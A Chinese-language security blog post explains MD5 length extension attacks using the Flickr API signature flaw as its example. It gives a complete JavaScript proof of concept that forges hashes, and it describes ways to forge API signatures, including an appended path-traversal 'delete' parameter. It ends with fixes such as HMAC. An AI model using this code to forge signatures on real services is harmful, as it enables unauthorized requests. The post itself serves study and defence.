背景
在2009年, 不仅仅发布了ASP.NET的padding
oracle攻击,同时还写了一篇关于,和padding
oracle的paper放在一起。因为Flickr
API签名的这个漏洞,也是需要用到padding的。
两年过去了,在安全圈子(国内国外)里大家的眼光似乎都只放到了padding
oracle上,而有意无意的忽略了Flickr
API签名这个问题。我前段时间看paper时,发现Flickr
API签名这个漏洞,实际上用的是
MD5 Length Extension Attack,和padding
oracle还是很不一样的。在研究了Thai
Duong 的paper后,我发现作者根本就未曾公布MD5
Length Extension Attack 的具体实现方法,只是看到作者突然一下子变魔术一样丢出来了POC。
注意看红字标注的部分,POC中padding了很多0字节,但是中间又突兀的跑出来了几个非0字节,why?
我百思不得其解,试图还原这个攻击的过程,为此查阅了大量的资料,结果发现整个互联网上,除了一些理论外,根本就没有这个攻击的任何实现。于是一段时间的研究后,我决定写下这篇blog,来填补这一空白。以后哪位哥们的工作要是从本文中得到了启发,记得引用下本文。
什么是Length
Extension Attack?
很多哈希算法都存在Length Extension攻击,这是因为这些哈希算法都使用了Merkle–Damgård
construction进行数据的压缩,流行算法比如MD5、SHA-1等都受影响。
以MD5为例,首先算法将消息以512-bit(就是64字节)的长度分组。最后一组必然不足512-bit,这时候算法就会自动往最后一组中填充字节,这个过程被称为padding。
而Length Extension 是这样的:
当知道
MD5(secret) 时,在不知道secret的情况下,可以很轻易的推算出
MD5(secret||padding||m')
在这里m' 是任意数据, ||
是连接符,可以为空。padding是 secret
最后的填充字节。md5的padding字节包含整个消息的长度,因此,为了能够准确的计算出padding的值,secret的长度也是我们需要知道的。
所以要实施Length Extension Attack,就需要找到MD5(secret)最后压缩的值,并算出其padding,然后加入到下一轮的MD5压缩算法中去,算出最终我们需要的值。
理解Length
Extension Attack
为了深入理解Length Extension Attack,我们需要深入到MD5的实现中去。而最终的exploit,也需要通过patch
MD5来实现。MD5的实现算法可以参考。这个成熟的算法现在已经有了各个语言版本的实现,本身也较为简单。我从网上找了一个javascript版本,并以此为基础实现Length Extension Attack。
首先MD5算法会对消息进行分组,每组64字节,不足64字节的部分用padding补齐。padding的规则是,在最末一个字节之后补充0x80,其余的部分填充为0x00,padding最后的8字节用来表示需要哈希的消息长度。
比如输入的消息为:0.46229771920479834, 变为ascii码,且将每个字符分离为数组后:
因为数据总共才有19个字节,不足64字节,因此剩下部分需要经过padding。padding后数据变为了:
最后8字节用以表示数据长度,为 19*8 = 152
在对消息进行分组以及padding后,MD5算法开始依次对每组消息进行压缩,经过64轮数学变换。这个过程中,一开始会有定义好的初始化向量,为4个中间值,初始化向量不是随机生成的,是标准里定义死的,是的,你没看错,这是“硬编码”!:
然后经过64轮数学变换。
...
....
这是一个for循环,在进行完数学变换后,将改变临时中间值,将这个值进入下一轮for循环:
还记得前面那张MD5结构的图吗?这个FOR循环的过程,就是一次次的压缩过程了。上一次压缩的结果,将作为下一次压缩的输入。而Length
Extension 的理论基础,就是将已知的压缩后的结果,直接拿过来作为新的压缩输入。在这个过程中,只需要上一次压缩后的结果,而不需要知道原来的消息内容是什么。
实施Length
Extension Attack
理解了Length
Extension的原理后,接下来就需要实施这个攻击了。这里有几点需要注意,首先是MD5值怎么还原为压缩函数中需要的4个整数?
通过逆向MD5算法,不难实现这一点:
简单来说,就是先把MD5值拆分成4组,每组8字节,比如:
9d391442efea4be3666caf8549bd4fd3
分拆为:
9d391442 efea4be3
666caf85 49bd4fd3
然后将这几个string转化为整数,再根据一系列的数学变化,还原成FOR循环里面需要用到的
h3,h2,h1,h0
然后将这4个值,加入到MD5的压缩函数中去,并产生出新的值。此时我们就可以在后面附加任意数据了。我们看看这个过程:
比如secret为0.12204316770657897,它只需要经过一轮MD5压缩
我们从它的MD5值中可以直接还原出这4个中间值,同时我们希望附加消息“axis
is smart!”,并计算新消息的MD5值:
通过还原出secret
压缩后的4个中间值后,可以直接进行第二轮附加了消息的压缩,从而在
run times 1 中产生了4个新的中间值,并以此生成新的MD5值。
为了验证结果是否正确,我们计算一下新的MD5(secret||padding||m')
可以看到md5值和刚才计算出来的结果是一致的。
这段代码为:
- <script src="md5.js" ></script>
- <script src="md5_le.js" ></script>
-
- <script>
- function print(str){
- document.write(str);
- }
-
- print("=== MD5 Length Extension Attack POC ===
=== by axis ===
");
-
- // turn this to be true if want to see internal state.
- debug = false;
-
- var x = String(Math.random());
- var append_m = 'axis is smart!';
-
- print("[+] secret is :"+x+"
"+"[+] length is :" + x.length+"
");
- print("[+] message want to append is :"+append_m+"
");
-
- print("[+] Start calculating secret's hash
");
- var old = faultylabs.MD5(x);
- print("
[+] Calculate secret's md5 hash: "+old+"
");
-
- print("
================================
");
- print("[+] Start calculating new hash
");
- print("[+] theory: h(m||p||m1)
");
- print("[+] that is: md5_compression_function('"+old+"', 'secret's length', '"+ append_m +"')"+"
");
-
- var hash_guess = md5_length_extension(old, x.length, append_m);
- print("[+] padding(urlencode format) is: "+ escape(hash_guess['padding']) + "
");
- print("
[+] guessing new hash is: "+hash_guess['hash']+"
");
-
-
- print("
================================
");
- print("[+] now verifying the new hash
");
- var x1 = '';
- x1 = x + hash_guess['padding'] + append_m;
-
- print("[+] new message(urlencode format) is:
"+ escape(x1) +"
");
-
- var v = faultylabs.MD5(x1);
- print("
[+] md5 of the new message is: "+v+"
");
- </script>
关键代码md5_le.js 是我们patch
MD5算法的实现,基于faultylabs的MD5实现而来,其源代码见附录。md5.js则是faultylabs的md5实现,在此仅用验证md5值所用。
如何利用Length
Extension Attack
如何利用Length Extension Attack呢?我们知道Length
Extension使得我们可以附加任意值在原文之后,并计算出新的哈希。最常见的地方就是签名。
一个合理的签名,一般是需要salt或者key加上参数值,而salt或者key都是未知的,也就使得我们的原文是未知的。在Flickr
API 签名的问题中,Flickr
API同时还犯了一个错误,这个错误Amazon的AWS签名也犯过。就是签名校验算法中,参数连接时没有使用间隔符。所以本来如:
?a=1&b=2&c=3
的参数,在签名算法中连接时简单的变成了
a1b2c3
那么攻击者可以伪造参数为:
?a=1b2c3[....Padding....]&b=4&c=5
最终在签名算法中连接时:
a1b2c3[....Padding....]b4c5
通过length extension可以生成一个新的合法的签名。这是第一种利用方法。
除此之外,因为我们可以附加新的参数,所以任意具有逻辑功能,但原文中未出现过的参数,都可以附加,比如:
?a=1&b=2&c=3&delete=../../../file&sig=sig_new
这是第二种攻击方式。
第三种攻击方式:还记得HPP否?
附带相同的参数可能在不同的环境下造成不同的结果,从而产生一些逻辑漏洞。在普通情况下,可以直接注入新参数,但如果服务端校验了签名,则需要通过length
extension伪造一个新的签名才行。
?a=1&b=2&c=3&a=4&sig=sig_new
最后,Length Extension需要知道的length,其实是可以考虑暴力破解的。
Length Extension还有什么利用方式?尽情发挥你的想象力吧。
How to Fix?
MD5、SHA-1之类的使用Merkle–Damgård
construction的算法是没希望了。
使用HMAC-SHA1之类的HMAC算法吧,目前HMAC还没有发现过什么安全漏洞。
另外针对Flickr API等将参数签名的应用来说,secret放置在 参数末尾也能防止这种攻击。
比如 MD5(m+secret),希望推导出
MD5(m+secret||padding||m'),结果由于自动附加secret在末尾的关系,会变成
MD5(m||padding||m'||secret),从而导致Length
Extension run不起来。
附录
一些参考资料:
~cks/space/blog/programming/HashLengthExtAttack
md5_le.js源代码:
- md5_length_extension = function(m_md5, m_len, append_m){
- var result = new Array();
-
- if (m_md5.length != 32){
- alert("input error!");
- return false;
- }
- // 将md5值分拆成4组,每组8字节
- var m = new Array();
- for (i=0;i<m_md5.length;i+=8){
- m.push(m_md5.slice(i,i+8));
- }
- // 将md5的4组值还原成压缩函数需要的数值
- var x;
- for(x in m){
- m[x] = ltripzero(m[x]);
-
- // convert string to int ; convert of to_zerofilled_hex()
- m[x] = parseInt(m[x], 16) >> 0;
-
- // convert of int128le_to_hex
- var t=0;
- var ta=0;
- ta = m[x];
- t = (ta & 0xFF);
- ta = ta >>> 8;
- t = t << 8;
- t = t | (ta & 0xFF);
- ta = ta >>> 8;
- t = t << 8;
- t = t | (ta & 0xFF);
- ta = ta >>> 8;
- t = t << 8;
- t = t | ta;
-
- m[x] = t;
- }
-
- // 此时只需要使用MD5压缩函数执行 append_m 以及 append_m的padding即可
- // 此时m 的压缩值已经不再需要,可以用填充字节代替
- var databytes = new Array();
-
- // 初始化,只需要知道 m % 64 的长度即可,事实上可以随意填充,但我们其实还想知道padding
- // 如果消息长度大于64,需要构造之前的等长度的消息,用以后面计算正确的消息长度
- if (m_len>64){
- for (i=0;i<parseInt(m_len/64)*64;i++){
- databytes.push('97'); // 填充任意字节
- }
- }
-
- for (i=0;i<(m_len%64);i++){
- databytes.push('97'); // 填充任意字节
- }
-
- // 调用padding
- databytes = padding(databytes);
-
- // 保存结果为padding,我们也需要这个结果
- result['padding'] = '';
- for (i=(parseInt(m_len/64)*64 + m_len%64);i<databytes.length;i++){
- result['padding'] += String.fromCharCode(databytes[i]);
- }
-
- // 将append_m 转化为数组添加
- for (j=0;j<append_m.length;j++){
- databytes.push(append_m.charCodeAt(j));
- }
-
- // 计算新的padding
- databytes = padding(databytes);
-
- var h0 = m[0];
- var h1 = m[1];
- var h2 = m[2];
- var h3 = m[3];
-
- var a=0,b=0,c=0,d=0;
- // Digest message
- // i=n 开始,因为从 append_b 开始压缩
- for (i = parseInt(m_len/64)+1; i < databytes.length / 64; i++) {
- // initialize run
- a = h0
- b = h1
- c = h2
- d = h3
- var ptr = i * 64
- // do 64 runs
- updateRun(fF(b, c, d), 0xd76aa478, bytes_to_int32(databytes, ptr), 7)
- updateRun(fF(b, c, d), 0xe8c7b756, bytes_to_int32(databytes, ptr + 4), 12)
- updateRun(fF(b, c, d), 0x242070db, bytes_to_int32(databytes, ptr + 8), 17)
- updateRun(fF(b, c, d), 0xc1bdceee, bytes_to_int32(databytes, ptr + 12), 22)
- updateRun(fF(b, c, d), 0xf57c0faf, bytes_to_int32(databytes, ptr + 16), 7)
- updateRun(fF(b, c, d), 0x4787c62a, bytes_to_int32(databytes, ptr + 20), 12)
- updateRun(fF(b, c, d), 0xa8304613, bytes_to_int32(databytes, ptr + 24), 17)
- updateRun(fF(b, c, d), 0xfd469501, bytes_to_int32(databytes, ptr + 28), 22)
- updateRun(fF(b, c, d), 0x698098d8, bytes_to_int32(databytes, ptr + 32), 7)
- updateRun(fF(b, c, d), 0x8b44f7af, bytes_to_int32(databytes, ptr + 36), 12)
- updateRun(fF(b, c, d), 0xffff5bb1, bytes_to_int32(databytes, ptr + 40), 17)
- updateRun(fF(b, c, d), 0x895cd7be, bytes_to_int32(databytes, ptr + 44), 22)
- updateRun(fF(b, c, d), 0x6b901122, bytes_to_int32(databytes, ptr + 48), 7)
- updateRun(fF(b, c, d), 0xfd987193, bytes_to_int32(databytes, ptr + 52), 12)
- updateRun(fF(b, c, d), 0xa679438e, bytes_to_int32(databytes, ptr + 56), 17)
- updateRun(fF(b, c, d), 0x49b40821, bytes_to_int32(databytes, ptr + 60), 22)
- updateRun(fG(b, c, d), 0xf61e2562, bytes_to_int32(databytes, ptr + 4), 5)
- updateRun(fG(b, c, d), 0xc040b340, bytes_to_int32(databytes, ptr + 24), 9)
- updateRun(fG(b, c, d), 0x265e5a51, bytes_to_int32(databytes, ptr + 44), 14)
- updateRun(fG(b, c, d), 0xe9b6c7aa, bytes_to_int32(databytes, ptr), 20)
- updateRun(fG(b, c, d), 0xd62f105d, bytes_to_int32(databytes, ptr + 20), 5)
- updateRun(fG(b, c, d), 0x2441453, bytes_to_int32(databytes, ptr + 40), 9)
- updateRun(fG(b, c, d), 0xd8a1e681, bytes_to_int32(databytes, ptr + 60), 14)
- updateRun(fG(b, c, d), 0xe7d3fbc8, bytes_to_int32(databytes, ptr + 16), 20)
- updateRun(fG(b, c, d), 0x21e1cde6, bytes_to_int32(databytes, ptr + 36), 5)
- updateRun(fG(b, c, d), 0xc33707d6, bytes_to_int32(databytes, ptr + 56), 9)
- updateRun(fG(b, c, d), 0xf4d50d87, bytes_to_int32(databytes, ptr + 12), 14)
- updateRun(fG(b, c, d), 0x455a14ed, bytes_to_int32(databytes, ptr + 32), 20)
- updateRun(fG(b, c, d), 0xa9e3e905, bytes_to_int32(databytes, ptr + 52), 5)
- updateRun(fG(b, c, d), 0xfcefa3f8, bytes_to_int32(databytes, ptr + 8), 9)
- updateRun(fG(b, c, d), 0x676f02d9, bytes_to_int32(databytes, ptr + 28), 14)
- updateRun(fG(b, c, d), 0x8d2a4c8a, bytes_to_int32(databytes, ptr + 48), 20)
- updateRun(fH(b, c, d), 0xfffa3942, bytes_to_int32(databytes, ptr + 20), 4)
- updateRun(fH(b, c, d), 0x8771f681, bytes_to_int32(databytes, ptr + 32), 11)
- updateRun(fH(b, c, d), 0x6d9d6122, bytes_to_int32(databytes, ptr + 44), 16)
- updateRun(fH(b, c, d), 0xfde5380c, bytes_to_int32(databytes, ptr + 56), 23)
- updateRun(fH(b, c, d), 0xa4beea44, bytes_to_int32(databytes, ptr + 4), 4)
- updateRun(fH(b, c, d), 0x4bdecfa9, bytes_to_int32(databytes, ptr + 16), 11)
- updateRun(fH(b, c, d), 0xf6bb4b60, bytes_to_int32(databytes, ptr + 28), 16)
- updateRun(fH(b, c, d), 0xbebfbc70, bytes_to_int32(databytes, ptr + 40), 23)
- updateRun(fH(b, c, d), 0x289b7ec6, bytes_to_int32(databytes, ptr + 52), 4)
- updateRun(fH(b, c, d), 0xeaa127fa, bytes_to_int32(databytes, ptr), 11)
- updateRun(fH(b, c, d), 0xd4ef3085, bytes_to_int32(databytes, ptr + 12), 16)
- updateRun(fH(b, c, d), 0x4881d05, bytes_to_int32(databytes, ptr + 24), 23)
- updateRun(fH(b, c, d), 0xd9d4d039, bytes_to_int32(databytes, ptr + 36), 4)
- updateRun(fH(b, c, d), 0xe6db99e5, bytes_to_int32(databytes, ptr + 48), 11)
- updateRun(fH(b, c, d), 0x1fa27cf8, bytes_to_int32(databytes, ptr + 60), 16)
- updateRun(fH(b, c, d), 0xc4ac5665, bytes_to_int32(databytes, ptr + 8), 23)
- updateRun(fI(b, c, d), 0xf4292244, bytes_to_int32(databytes, ptr), 6)
- updateRun(fI(b, c, d), 0x432aff97, bytes_to_int32(databytes, ptr + 28), 10)
- updateRun(fI(b, c, d), 0xab9423a7, bytes_to_int32(databytes, ptr + 56), 15)
- updateRun(fI(b, c, d), 0xfc93a039, bytes_to_int32(databytes, ptr + 20), 21)
- updateRun(fI(b, c, d), 0x655b59c3, bytes_to_int32(databytes, ptr + 48), 6)
- updateRun(fI(b, c, d), 0x8f0ccc92, bytes_to_int32(databytes, ptr + 12), 10)
- updateRun(fI(b, c, d), 0xffeff47d, bytes_to_int32(databytes, ptr + 40), 15)
- updateRun(fI(b, c, d), 0x85845dd1, bytes_to_int32(databytes, ptr + 4), 21)
- updateRun(fI(b, c, d), 0x6fa87e4f, bytes_to_int32(databytes, ptr + 32), 6)
- updateRun(fI(b, c, d), 0xfe2ce6e0, bytes_to_int32(databytes, ptr + 60), 10)
- updateRun(fI(b, c, d), 0xa3014314, bytes_to_int32(databytes, ptr + 24), 15)
- updateRun(fI(b, c, d), 0x4e0811a1, bytes_to_int32(databytes, ptr + 52), 21)
- updateRun(fI(b, c, d), 0xf7537e82, bytes_to_int32(databytes, ptr + 16), 6)
- updateRun(fI(b, c, d), 0xbd3af235, bytes_to_int32(databytes, ptr + 44), 10)
- updateRun(fI(b, c, d), 0x2ad7d2bb, bytes_to_int32(databytes, ptr + 8), 15)
- updateRun(fI(b, c, d), 0xeb86d391, bytes_to_int32(databytes, ptr + 36), 21)
- // update buffers
- h0 = _add(h0, a)
- h1 = _add(h1, b)
- h2 = _add(h2, c)
- h3 = _add(h3, d)
-
- if (debug == true){
- document.write("run times: "+i+"
h3: "+h3+"
h2: "+h2+"
h1: "+h1+"
h0: "+h0+"
")
- }
- }
-
- result['hash'] = int128le_to_hex(h3, h2, h1, h0);
- return result;
-
- // 检测分组后开头是否有0,如果有则去掉
- function ltripzero(str){
- if (str.length != 8) {
- return false;
- }
-
- if (str == "00000000"){
- return str;
- }
-
- var result = '';
- if (str.indexOf('0') == 0 ) {
- var tmp = new Array();
- tmp = str.split('');
- for (i=0;i<8;i++){
- if (tmp[i] != 0){
- for(j=i;j<8;j++){
- result = result + tmp[j];
- }
- break;
- }
- }
- return result;
- }else{
- return str;
- }
- }
-
- // 往数组填充padding
- function padding(databytes){
- if (databytes.constructor != Array) {
- return false;
- }
- // save original length
- var org_len = databytes.length
- // first append the "1" + 7x "0"
- databytes.push(0x80)
- //alert(databytes) // 添加第一个0x80, 然后填充0x00到56位
-
- // determine required amount of padding
- var tail = databytes.length % 64
-
- // no room for msg length?
- if (tail > 56) {
- // pad to next 512 bit block
- for (var i = 0; i < (64 - tail); i++) {
- databytes.push(0x0)
- }
- tail = databytes.length % 64
- }
- for (i = 0; i < (56 - tail); i++) {
- databytes.push(0x0)
- }
-
- // message length in bits mod 512 should now be 448
- // append 64 bit, little-endian original msg length (in *bits*!)
- databytes = databytes.concat(int64_to_bytes(org_len * 8))
-
- return databytes;
- }
-
-
- // md5 压缩需要使用的函数
- // function update partial state for each run
- function updateRun(nf, sin32, dw32, b32) {
- var temp = d
- d = c
- c = b
- //b = b + rol(a + (nf + (sin32 + dw32)), b32)
- b = _add(b,
- rol(
- _add(a,
- _add(nf, _add(sin32, dw32))
- ), b32
- )
- )
- a = temp
- }
-
- function _add(n1, n2) {
- return 0x0FFFFFFFF & (n1 + n2)
- }
-
- // convert the 4 32-bit buffers to a 128 bit hex string. (Little-endian is assumed)
- function int128le_to_hex(a, b, c, d) {
- var ra = ""
- var t = 0
- var ta = 0
- for (var i = 3; i >= 0; i--) {
- ta = arguments[i]
- t = (ta & 0xFF)
- ta = ta >>> 8
- t = t << 8
- t = t | (ta & 0xFF)
- ta = ta >>> 8
- t = t << 8
- t = t | (ta & 0xFF)
- ta = ta >>> 8
- t = t << 8
- t = t | ta
- ra = ra + to_zerofilled_hex(t)
- }
- return ra
- }
- // convert a 64 bit unsigned number to array of bytes. Little endian
- function int64_to_bytes(num) {
- var retval = []
- for (var i = 0; i < 8; i++) {
- retval.push(num & 0xFF)
- num = num >>> 8
- }
- return retval
- }
- // 32 bit left-rotation
- function rol(num, places) {
- return ((num << places) & 0xFFFFFFFF) | (num >>> (32 - places))
- }
-
- // The 4 MD5 functions
- function fF(b, c, d) {
- return (b & c) | (~b & d)
- }
- function fG(b, c, d) {
- return (d & b) | (~d & c)
- }
- function fH(b, c, d) {
- return b ^ c ^ d
- }
- function fI(b, c, d) {
- return c ^ (b | ~d)
- }
- // pick 4 bytes at specified offset. Little-endian is assumed
- function bytes_to_int32(arr, off) {
- return (arr[off + 3] << 24) | (arr[off + 2] << 16) | (arr[off + 1] << 8) | (arr[off])
- }
- // convert number to (unsigned) 32 bit hex, zero filled string
- function to_zerofilled_hex(n) {
- var t1 = (n >>> 0).toString(16)
- return "00000000".substr(0, 8 - t1.length) + t1
- }
-
- }
阅读(10710) | 评论(0) | 转发(0) |